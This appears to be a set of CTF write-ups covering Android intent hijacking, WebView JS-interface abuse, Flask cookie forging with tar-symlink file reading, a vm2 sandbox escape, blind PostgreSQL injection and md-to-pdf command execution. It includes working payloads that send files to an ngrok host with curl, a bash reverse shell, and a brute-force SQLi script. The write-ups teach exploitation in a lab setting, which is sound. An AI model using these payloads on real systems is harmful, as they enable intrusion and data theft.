Now Loading ...
-
Mobile: kage
solution
We are given in this challenge 2 APKs the main challenge is the sealing version of the apk with the real flag and the second one is the fake version with the fake flag used for testing.
The fake version contains a fake flag, but once u get the approach and get the flag you can use the same approach to get the real flag from the sealing app.
I got the source code using Jadx.
First thing i do usually is looking in AndroidMainfest.xml file.
In this challenge the MainActivity is the interesting part and has all what we need to solve the challenge, Let’s look at it.
package com.cyctf.kage;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.ImageView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (getIntent() != null && "Secret_Action".equals(getIntent().getAction())) {
Intent intent = new Intent("Tsukuyomi");
try {
Toast.makeText(this, "Be Careful, Something was sent to you", 1).show();
startActivityForResult(intent, 1337);
return;
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "No App Can Handle My Shadow!!", 1).show();
return;
}
}
Toast.makeText(this, "Invalid action!.", 1).show();
}
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
public void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
ImageView myImageView = (ImageView) findViewById(R.id.imageView);
if (intent != null && getIntent() != null && getIntent().getBooleanExtra("Unlock", false) && intent.getIntExtra("RegistrationNumber", -1) == 5192) {
myImageView.setImageResource(R.drawable.image);
Toast.makeText(this, "Check Logs For Your Reward!!", 1).show();
Log.d("Jester", new String("Cyctf{Fake_Flag_don't_Submit}"));
}
}
}
We have onCreate function at which
This activity is started by intent whose action is Secret_Action
Then if the previous condition is true, a new intent is created whose action is Tsukuyomi and this new intent is used to send the start activity using startActivityForResult(intent, 1337)
startActivityForResult(): can start activity and also expects a response from the activity it started, It receives this response through onActivityResult()
Note: The response sent by us is sent through setResult(RESULT_OK,intent)
We see in the code onActivityResult(int i, int i2, Intent intent) which accepts the response as we said and it sends the flag if the condition (intent != null && getIntent() != null && getIntent().getBooleanExtra("Unlock", false) && intent.getIntExtra("RegistrationNumber", -1) == 5192) is true
This condition has
intent which is the parameter to onActivityResult() function and it’s sent by us through setResult() function
getIntent() which is first intent we used to start this application whose action is Secret_Action
So our approach to solve the challenge will be
Creating an application which will do the following
sending an intent with action: Secret_Action (to trigger the condition in onCreate function) and extra bool data Unlock: true (to trigger the condition in onActivityResult)
Intent intent = new Intent("Secret_Action");
intent.setClassName("com.cyctf.kage","com.cyctf.kage.MainActivity");
intent.putExtra("Unlock",true);
startActivity(intent);
The code above in the MainActivity of the app we created
The target’s MainActivity starts and creates an intent whose action: Tsukuyomi and sends it using startActivityForResult(intent, 1337);
We will receive it by having an application with intent filter to accept intent whose action: Tsukuyomi
<activity
android:name=".Hijack"
android:exported="true">
<intent-filter>
<action android:name="Tsukuyomi" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Above is the intent filter of the activity we used to receive the intent whose action: Tsukuyomi
Note: hijack activity is another activity other than the MainActivity of our app
Then after receiving this intent, create an intent with extra Int data RegistrationNumber: 5192
Send this intent using setResult function as response to the target
```java
public class Hijack extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_hijack);
ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return insets;
});
Intent resultIntent = new Intent();
resultIntent.putExtra("RegistrationNumber", 5192);
setResult(RESULT_OK,resultIntent);
finish();
}
} ```
This intent will be received by the target through onActivityResult and will trigger the condition to log the flag
Watch the logs after running the app.
GG, I wish you enjoyed the write up
-
Mobile: catch it
solution
We are given in this challenge 2 APKs the main challenge is the sealing version of the apk with the real flag and the second one is the fake version with the fake flag used for testing.
The fake version contains a fake flag, but once u get the approach and get the flag you can use the same approach to get the real flag from the sealing app.
I got the source code using Jadx.
First thing i do usually is looking in AndroidMainfest.xml file.
We have many interesting information here like
android:debuggable="true" & android:allowBackup="true"
We have 2 activities
MainActivity which is exported so we can access it using adb shell or by another app we create
AnotherView which isn’t exported (can be accessed by activity within the same app only), It has the category browsable which will move us to think about deep links and webviews
Let’s dig into these activities
This is the code of MainActivity
package com.cyctf.catchit;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent reintent = getIntent();
Uri url = reintent.getData();
if (url != null) {
if ("cyshield.com".equals(url.getHost())) {
Intent intent = new Intent();
intent.putExtra("url", String.valueOf(url));
intent.setClass(this, AnotherView.class);
startActivity(intent);
return;
}
Intent intent2 = new Intent(this, (Class<?>) AnotherView.class);
startActivity(intent2);
return;
}
Intent intent3 = new Intent(this, (Class<?>) AnotherView.class);
startActivity(intent3);
}
}
When we analyze the code carefully we see that it sends an intent to start AnotherView activity, but the intent contains the Uri whose host is cyshield.com the intent will have an extra string with key: url and value: <output of String.valueOf(url)
Let’s look at the source code of AnotheView activity
package com.cyctf.catchit;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes3.dex */
public class AnotherView extends AppCompatActivity {
private WebView webView;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_another_view);
this.webView = (WebView) findViewById(R.id.webView);
configureWebView();
Intent intent = getIntent();
String url = intent.getStringExtra("url");
if (url != null) {
intent.getData();
this.webView.loadUrl(url);
} else {
this.webView.loadUrl("https://cyshield.com");
}
}
private void configureWebView() {
WebSettings webSettings = this.webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setSafeBrowsingEnabled(false);
this.webView.setWebChromeClient(new WebChromeClient());
this.webView.setWebViewClient(new WebViewClient());
this.webView.addJavascriptInterface(new JavaScriptInterface(), "Jester");
}
/* loaded from: classes3.dex */
public class JavaScriptInterface {
public JavaScriptInterface() {
}
@JavascriptInterface
public void showFlag() {
Toast.makeText(AnotherView.this, "Check Logs For Your Reward!!", 1).show();
Log.d("Jester", new String("CyCtf{Fake_Flag_don't_Sumbit}"));
}
}
}
Here we have many interesting things
We have a webview (basically you are able to navigate website within the application)
The webview has interesting configurations in configureWebView() function
setJavaScriptEnabled(true): This enables execution of JS codes which will move us to think of the attacks that involves JS like XSS, etc….
setSafeBrowsingEnabled(false): disables the safe browsing, so the app is object to loading malicious pages (maybe used in another solution but i didn’t use it in my solution actually)
addJavascriptInterface(new JavaScriptInterface(), "Jester");: This is JSInterface creation which exposes Java object to JS execution, in this case we can access the class JavaScriptInterface() in Java using Jester object in JS
We also have have JavaScriptInterface class whose functions now can be accessed using Jester.
It contains showFlag() function, so if we can are able to execute JS code we can trigger this function using Jester.showFlag(), and this is our objective and we will get the flag in the logs.
After searching in different sites and asking chatgpt also i found idea
If i can load a url (whatever it is) and the debugging is enabled, so i can inspect it using chrome://inspect on my host and access the dev tools.
After accessing the devtools i can run Jester.showFlag() in the console.
This is out approach and let’s go to see the steps.
First we need to access AnotherView activity, we can do this using the command .\adb.exe shell am start-activity -n com.cyctf.catchit/.MainActivity -d https://cyshield.com/ Which will access AnotherView activity and will load https://cyshield.com/.
When we go to chrome://inspect on chrome on our host laptop we will see this
Click inspect and you will get the devtools, go to console to execute Jester.showFlag() and make sure you are getting the logs using adb.exe logcat and you will get the flag in these logs.
Thanks for Reading, I Wish this write up was useful for you.
-
Web: Slippery Way (Medium)
Solution
When we get the files of the challenge we will see this file hierarchy.
and this is app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os
import random
import string
import time
import tarfile
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = "V3eRy$3c43T"
def otp_generator():
otp = ''.join(random.choices(string.digits, k=4))
return otp
if not os.path.exists('uploads'):
os.makedirs('uploads')
@app.route('/', methods=['GET', 'POST'])
def main():
if 'username' not in session or 'valid_otp' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
uploaded_file = request.files['file']
if uploaded_file.filename != '':
filename = secure_filename(uploaded_file.filename)
file_path = os.path.join('uploads', filename)
uploaded_file.save(file_path)
session['file_path'] = file_path
return redirect(url_for('extract'))
else:
return render_template('index.html', message='No file selected')
return render_template('index.html', message='')
@app.route('/extract')
def extract():
if 'file_path' not in session:
return redirect(url_for('login'))
file_path = session['file_path']
output_dir = 'uploads'
if not tarfile.is_tarfile(file_path):
os.remove(file_path)
return render_template('extract.html', message='The uploaded file is not a valid tar archive')
with tarfile.open(file_path, 'r') as tar_ref:
tar_ref.extractall(output_dir)
os.remove(file_path)
return render_template('extract.html', files=os.listdir(output_dir))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' and password == 'admin':
session['username'] = username
return redirect(url_for('otp'))
else:
return render_template('login.html', message='Invalid username or password')
return render_template('login.html', message='')
@app.route('/otp', methods=['GET', 'POST'])
def otp():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
otp,_otp = otp_generator(),request.form['otp']
if otp in _otp:
session['valid_otp'] = True
return redirect(url_for('main'))
else:
time.sleep(10) # please don't bruteforce my OTP
return render_template('otp.html', message='Invalid OTP')
return render_template('otp.html', message='')
@app.route('/logout')
def logout():
session.pop('username', None)
session.pop('valid_otp', None)
session.pop('file_path', None)
return redirect(url_for('login'))
@app.route('/uploads/<path:filename>')
def uploaded_file(filename):
uploads_path = os.path.join(app.root_path, 'uploads')
return send_from_directory(uploads_path, filename)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
When we start the challenge we see this login page
from the code we will login using admin:admin and we will get forwarded to /otp endpoint
We can’t go to anyother endpoint without submiting the valid otp.
Trying to brute force or bypass this page through the otp form is a rabbit hole.
When we look in the source code we will find interesting things.
Each user of course have a cookie
This is Flask application which moves us to think about flask-unsign cookie
flask-unsign cookie is something like JWT that needs a secret signing key to forge a cookie
We already have this secret app.secret_key = "V3eRy$3c43T"
when we decode the cookie we will find this {"username": "admin"}
from the code that if the otp is validated, then session['valid_otp'] = True
So we need to forge a new cookie with username and valid_otp keys
we will use flask-unsign
┌──(youssif㉿youssif)-[~]
└─$ flask-unsign --sign --cookie "{'username': 'admin','valid_otp': True}" --secret 'V3eRy$3c43T'
eyJ1c2VybmFtZSI6ImFkbWluIiwidmFsaWRfb3RwIjp0cnVlfQ.Zvau5g.TioGBeLlSjBfw2V2CwACLyp9MpM
When we use the new cookie we can access the other endpoints
Now visit / again and you will find this upload page
When we go back to upload function in our code we will find that it accepts only tar file
And in /extract this uploaded tar got extracted
After searching i found this candy
From this article we knew that we can get LFI from tar upload function using
┌──(youssif㉿youssif)-[~]
└─$ ln -s ../../../../../../../../../etc/passwd kakashi.txt
tar -cvf test.tar kakashi.txt
We created a symbolic link from kakashi.txt to ../../../../../../../../../etc/passwd
Then we put it in the tar file.
We will upload the file and when we go to /extract it will give us kakashi.txt
open this file
and GG you got /etc/passwd you can read the flag as the flag path was leaked in init.sh file.
Congratzzzzzzzzzzzzzzz
-
-
-
-
Web: secure calc
Description
This site is secure and sandboxed.
Solution
When we start the challange we will find the source code which is a NodeJS express site and it’s a small app as you see
const express = require("express");
const {VM} = require("vm2");
const app = express();
const vm = new VM();
app.use(express.json());
app.get('/', function (req, res) {
return res.send("Hello, just index : )");
});
app.post('/calc',async function (req, res) {
let { eqn } = req.body;
if (!eqn) {
return res.status(400).json({ 'Error': 'Please provide the equation' });
}
else if (eqn.match(/[a-zA-Z]/)) {
return res.status(400).json({ 'Error': 'Invalid Format' });
}
try {
result = await vm.run(eqn);
res.send(200,result);
} catch (e) {
console.log(e);
return res.status(400).json({ 'Error': 'Syntax error, please check your equation' });
}
});
app.listen(3000,'0.0.0.0',function(){
console.log("Started !")
});
We see const {VM} = require("vm2");, I searched for it and i knew the version from package.json file attached ith the challange and the version was "vm2": "^3.9.19".
It’s vulnerable to sandbox escaping and the poc is in this article. We see that the code executed is passed to vm.run(code) function and we have this function in the code of the challange.
When we examine /calc endpoint we see that it’s an endpoint for solving equations and we will find 4 steps:
checking if there’s a data in the request body (this data will be in json format)
data is passed to regex checker to make sure that the data in the request body doesn’t contain any characters
vm.run(code) at which the equation will be solved or our code will be executed and it’s our goal
syntax error if there is any error from vm.run(code)
I have the CVE POC code so i can escape the sandbox but the problem is in bypassing regex.
When i send a normal data without any alphabetical characters i get the result of the equation like this
When i try sending any characters i get "Error":"Invalid Format"
after many attempts i got an error in the syntax that told me json.parse is used
This made me to think about prototype pollution
I tried
{
"__proto__": {
"eqn": "1+2"
}
}
but it couldn’t detect that it’s an equation.
I tried many encoding algorithms like unicode but didn’t work.
After many attempts i found the suitable encoding way it’s JSFuck because it consists of symbols only so it will work
I used this payload
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://ngrokIP:ngrokport'); }
)
}
}
};
p.then();
and converted it to JSFuck using any online converter and send that request
The curl command worked well
Now let’s read the flag but making the command to be
curl -X POST --data-binary "@/flag.txt" http://ngrokIP:port
convert it and send the request like we did before AND ..
GG !!
-
Web: real
Description
A BBH got a vulnerability in this site but the triager needs POC, The flag will be the db username in UPPERCASE and there’s rate limit (1 request per second)
solution
When we start the challange we will see this login page
It’s a very very simple page and during my first attempts i noticed that the output can be:
welcome (status code 200) and this occurs when the login is done successfully
error (status code 400) and this occurs when the login is failed (wrong creds or wrong syntax)
filtered and this occurs when using symbols or words which are forbidden
when i tried username=admin%27--&password=a i got welcome in response like this
we got the injection point and i see it’s a blind sqli.
I was tring to retrieve the data from the tables but there’s misunderstanding.
I thought he wants a different user in the same table but it wants the username of the db which is the user connected to database.
and this misunderstanding made me take too much time as i want to get data from users table and the () were filtered, so i was in a rabbit hole.
After noticing that we need the db user i starting thinking in a different way.
I want to know the type of data base.
I noticed that the database accepts -- as comment and refuse # and after asking chatgpt i knew that my database now can be Oracle or Postgresql
After searching about differences i found that there’s a table called all_tables in oracle corresponds to information_schema.tables in postgresql.
I made sure that the db is postgresql using these parameters username=admin%27union%20select%20null,null%20from%20information_schema.tables--&password=a and got welcome in the response.
Now i want to get the postgres dbusername.
After searching i found that to get it we use select current_user
There may be other ways but this worked with me and was very simple.
Now i want to inject it in the username parameter and this can be done by admin' and current_user like 'A%'-- this will return welcome if the first character in the current_user is A.
but the problem here is like is filtered, so after asking chatgpt i found an alternative which is admin' and current_user ~ '^A'-- and it has the same functionality.
We should run the same query for all possible characters and for the length of the username.
I created this script to do this job
import requests
import time
import urllib3
urllib3.disable_warnings()
# Base URL and target endpoint
url = "https://real.ascwg-challs.app/login"
# Headers for the request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://real.ascwg-challs.app",
"Referer": "https://real.ascwg-challs.app/",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Te": "trailers"
}
# Characters to iterate over
characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_0123456789!@#%^&*()-=_+[]{}|;:',.<>?/`~\"\\abcdefghijklmnopqrstuvwxyz"
# Base injection point
base_injection = "admin'AND CURRENT_USER ~ '^"
password = "a"
def bruteforce():
# Initialize the discovered prefix
prefix = ""
# Try to find each character of the username
while True:
for char in characters:
# Replace the placeholder §u§ with the current prefix + char
current = prefix + char
injection = base_injection+current+'\'--'
data = f"username={injection}&password={password}"
# Send POST request
response = requests.post(url, headers=headers, data=data, verify=False)
# Wait for 1 second to respect the rate limit
time.sleep(1)
# Check for a successful response
if response.status_code == 200:
prefix += char
print(f"Found: {prefix}")
break # Move to the next character
if __name__ == "__main__":
bruteforce()
And ..
GG !!
-
Web: PDF Generator
Description
There’s a problem with rendering the generated pdf, You need to execute /flag to be able to investigate in that issue.
Solution
when we start we see a page with Cannot GET /, so i tried to go to /robots.txt and i found
User-agent: *
Disallow: /src.zip
/src.zip contains the source code, now we can begin.
routes.js file contains
const express = require('express');
const { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession } = require('./utils');
const OTPAuth = require('otpauth');
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const router = express.Router();
const secret = new OTPAuth.Secret();
const totp = new OTPAuth.TOTP({
secret: secret,
label: 'MarkdownToPDF',
algorithm: 'SHA1',
digits: 6,
period: 30
});
const sessions = {};
const requestCounts = {};
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
// Serve the OTP input form
router.get('/otp', (req, res) => {
res.sendFile(path.join(__dirname, 'views', 'otp.html'));
});
// Validate the OTP and set session cookie
router.post('/validate-otp', rateLimit(requestCounts), (req, res) => {
try {
const userOTP = req.body.otp;
const userIP = req.ip;
if (totp.validate({ token: userOTP, window: 1 })) {
const randomValue = crypto.randomBytes(16).toString('hex');
const sessionToken = encrypt(`${userIP}:${randomValue}:${userOTP}`, key, iv);
const expiry = Date.now() + 5 * 60 * 1000; // 5 minutes from now
sessions[sessionToken] = { expiry };
res.cookie('session', sessionToken, { httpOnly: true });
res.redirect('/convert');
} else {
res.redirect('/otp?invalid=true');
}
} catch (error) {
console.error('Error validating OTP:', error);
res.status(500).send('Server error.');
}
});
// Serve the markdown input form
router.get('/convert', requireSession(sessions), (req, res) => {
res.sendFile(path.join(__dirname, 'views', 'convert.html'));
});
// Handle form submission and convert markdown to PDF
router.post('/convert', requireSession(sessions), rateLimit(requestCounts), async (req, res) => {
try {
const markdownContent = req.body.markdown;
if (!markdownContent || typeof markdownContent !== 'string' || markdownContent.trim() === '') {
return res.status(400).send('Invalid markdown content.');
}
const outputFilePath = path.join(__dirname, 'output.pdf');
const pdf = await mdToPdfAsync({ content: markdownContent });
if (pdf && pdf.content) {
fs.writeFileSync(outputFilePath, pdf.content);
res.download(outputFilePath, 'converted.pdf', (err) => {
if (err) {
console.error('Error downloading the file:', err);
}
// Clean up the file after download
fs.unlinkSync(outputFilePath);
});
} else {
throw new Error('Failed to generate PDF.');
}
} catch (error) {
console.error('Error converting markdown to PDF:', error);
res.status(500).send('Server error.');
}
});
// Serve robots.txt
router.get('/robots.txt', (req, res) => {
res.type('text/plain');
res.sendFile(path.join(__dirname, 'public', 'robots.txt'));
});
// Serve src.zip
router.get('/src.zip', (req, res) => {
const file = path.join(__dirname, 'public', 'src.zip');
res.download(file);
});
module.exports = router;
After examining this code you will find that you can visit /otp but you can’t visit /convert as it needs an established session and this session is created after submitting the right OTP.
There’s also /utils.js contains
const crypto = require('crypto');
const { mdToPdf } = require('md-to-pdf');
const encrypt = (text, key, iv) => {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
return encrypted;
};
const decrypt = (encrypted, key, iv) => {
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
};
const mdToPdfAsync = async (markdown) => {
return await mdToPdf({ content: markdown }).catch(console.error);
};
const rateLimit = (requestCounts) => (req, res, next) => {
try {
const ip = req.ip;
if (!requestCounts[ip]) {
requestCounts[ip] = {
count: 0,
resetTime: Date.now() + 100000
};
}
const currentRequestCount = requestCounts[ip].count;
const resetTime = requestCounts[ip].resetTime;
if (Date.now() > resetTime) {
requestCounts[ip].count = 0;
requestCounts[ip].resetTime = Date.now() + 100000;
}
requestCounts[ip].count++;
if (currentRequestCount >= 50) {
requestCounts[ip].resetTime = Date.now() + 300000;
console.log(`Rate limit exceeded for IP ${ip}. Access blocked for 300 seconds.`);
res.sendFile(path.join(__dirname, 'views', 'rate_limit.html'), {
timeRemaining: Math.ceil((resetTime - Date.now()) / 1000)
});
} else {
next();
}
} catch (error) {
console.error('Error in rate limit middleware:', error);
res.status(500).send('Server error.');
}
};
const requireSession = (sessions) => (req, res, next) => {
try {
const sessionToken = req.cookies.session;
if (sessionToken) {
const session = sessions[sessionToken];
if (session && session.expiry > Date.now()) {
return next();
} else {
delete sessions[sessionToken];
}
}
res.redirect('/otp');
} catch (error) {
console.error('Error in session middleware:', error);
res.status(500).send('Server error.');
}
};
module.exports = { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession };
Anyway let’s visit /otp endpoint which is very simple
After many attempts and reading the source code i noticed that const OTPAuth = require('otpauth'); and searched about this package and i found that the package itself is vulnerable.
You can that see here.
The totp.validate() function which is used in our code is vulnerable and may return positive values for single digit tokens even if they are invalid. This may allow attackers to bypass the OTP authentication by providing single digit tokens.
Very nice after this info i tried to submit a single digit from 0 to 9 and one of them logged me in successfully.
After logging in i got redirected to /convert
So this page takes and md input and makes it PDF.
When I try to supply any input, i get server error but the function works properly underground (the error is in rendering only), so It’s a blind challange then ummmmmmmmmmmm.
After attempts i noticed also that the sorc code has const { mdToPdf } = require('md-to-pdf');
Guess What !!!
Yeah very new way !!
This package is also vulnerable xDDD
You can find that here
From the article i found that the payload i will use is
---js
((require("child_process")).execSync("id > /tmp/RCE.txt"))
---RCE
But the response isn’t rendered so we will try another way.
The way i think here is to execute a command that sends any request to an ip i have and if i got the response then the RCE works.
On my local linux machine i started listening on port 4444 (the port at which i will wait for the request), but note that this port is local so the target can reach me.
As a solution i started ngrok using ngrok tcp 4444 which works as a forwared in this situation.
This command means that the public ip supplied from ngrok will forward the requests it gets to my localhost on port 4444.
I got IP:0.tcp.eu.ngrok.io port:17552 from ngrok, so any request to 0.tcp.eu.ngrok.io:17552 will be forward to localhost:4444.
when i try to use the payload
---js
((require("child_process")).execSync('curl http://0.tcp.eu.ngrok.io:17552'));
---RCE
i get
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59622
GET / HTTP/1.1
Host: e874-156-160-149-56.ngrok-free.app
User-Agent: curl/7.88.1
Accept: */*
X-Forwarded-For: 46.101.193.189
X-Forwarded-Host: e874-156-160-149-56.ngrok-free.app
X-Forwarded-Proto: https
Accept-Encoding: gzip
So there’s RCE and works well, I tried to get a reverse shell but i couldn’t during the ctf, so i tried LFI.
After attempts i used this payload
---js
((require("child_process")).execSync('curl -X POST --data-binary "@/etc/passwd" http://0.tcp.eu.ngrok.io:17552'));
---RCE
and i got the content of /etc/passwd
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35736
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:17552
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 972
Content-Type: application/x-www-form-urlencoded
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
nodez:x:1001:1001::/home/nodez:/bin/bash
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
I could read /flag but with small modification because it was an executable file with exec permissions only
---js
((require("child_process")).execSync('curl -X POST --data-binary "$(/flag)" http://0.tcp.eu.ngrok.io:17552'));
---RCE
I got
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36472
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:17552
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Congratulations, this is the flag location: /tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt
Now i can read the flag using
---js
((require("child_process")).execSync('curl -X POST --data-binary "@/tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt" http://0.tcp.eu.ngrok.io:17552'));
---RCE
and congratz you got the flag
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53184
POST /? HTTP/1.1
Host: 5.tcp.eu.ngrok.io:14819
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
EGCERT{3e20ba_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35}
Beyond flag
The other way which is getting the reverse shell is easier i got it but before the ctf using the command
---js
((require("child_process")).execSync('bash -c "bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/17552 0>&1"'))
---RCE
Then on the listening port i got a reverse shell and did that
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44750
nodez@8372928b8e00:/usr/src/app$ /flag
/flag
Congratulations, this is the flag location: /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
nodez@8372928b8e00:/usr/src/app$ cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
EGCERT{3c5330_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35}
I also checked the permissions of /flag and the real flag to verify the reason why i couldn’t read /flag like the real flag or /etc/passwd and found this
nodez@8372928b8e00:/usr/src/app$ ls -la /
ls -la /
total 112
drwxr-xr-x 1 root root 4096 Jun 26 07:08 .
drwxr-xr-x 1 root root 4096 Jun 26 07:08 ..
-rwxr-xr-x 1 root root 0 Jun 26 07:08 .dockerenv
lrwxrwxrwx 1 root root 7 Jun 12 00:00 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Jan 28 21:20 boot
drwxr-xr-x 5 root root 360 Jun 26 07:08 dev
drwxr-xr-x 1 root root 4096 Jun 26 07:08 etc
---x--x--x 1 root root 17136 Jun 23 11:51 flag
drwxr-xr-x 1 root root 4096 Jun 22 01:20 home
lrwxrwxrwx 1 root root 7 Jun 12 00:00 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jun 12 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Jun 12 00:00 media
drwxr-xr-x 2 root root 4096 Jun 12 00:00 mnt
drwxr-xr-x 1 root root 4096 Jun 21 01:03 opt
dr-xr-xr-x 214 root root 0 Jun 26 07:08 proc
drwx------ 1 root root 4096 Jun 23 11:51 root
drwxr-xr-x 1 root root 4096 Jun 13 03:40 run
lrwxrwxrwx 1 root root 8 Jun 12 00:00 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jun 12 00:00 srv
dr-xr-xr-x 13 root root 0 Jun 26 07:08 sys
drwxrwx-wt 1 root root 20480 Jun 27 18:29 tmp
drwxr-xr-x 1 root root 4096 Jun 12 00:00 usr
drwxr-xr-x 1 root root 4096 Jun 12 00:00 var
nodez@8372928b8e00:/tmp$ ls -la /tmp/51eb18c330994e86115669c71e960ecd
ls -la /tmp/51eb18c330994e86115669c71e960ecd
total 28
drwx------ 2 nodez nodez 4096 Jun 27 18:30 .
drwxrwx-wt 1 root root 20480 Jun 27 18:30 ..
-rw-r--r-- 1 nodez nodez 52 Jun 27 18:30 flag_QXIZVN.txt
the /flag file has only exec permissions unlike the flag text file and /etc/passwd which are readable and don’t have exec permissions
I wish the write up was useful
Thanks for reading ^^
-
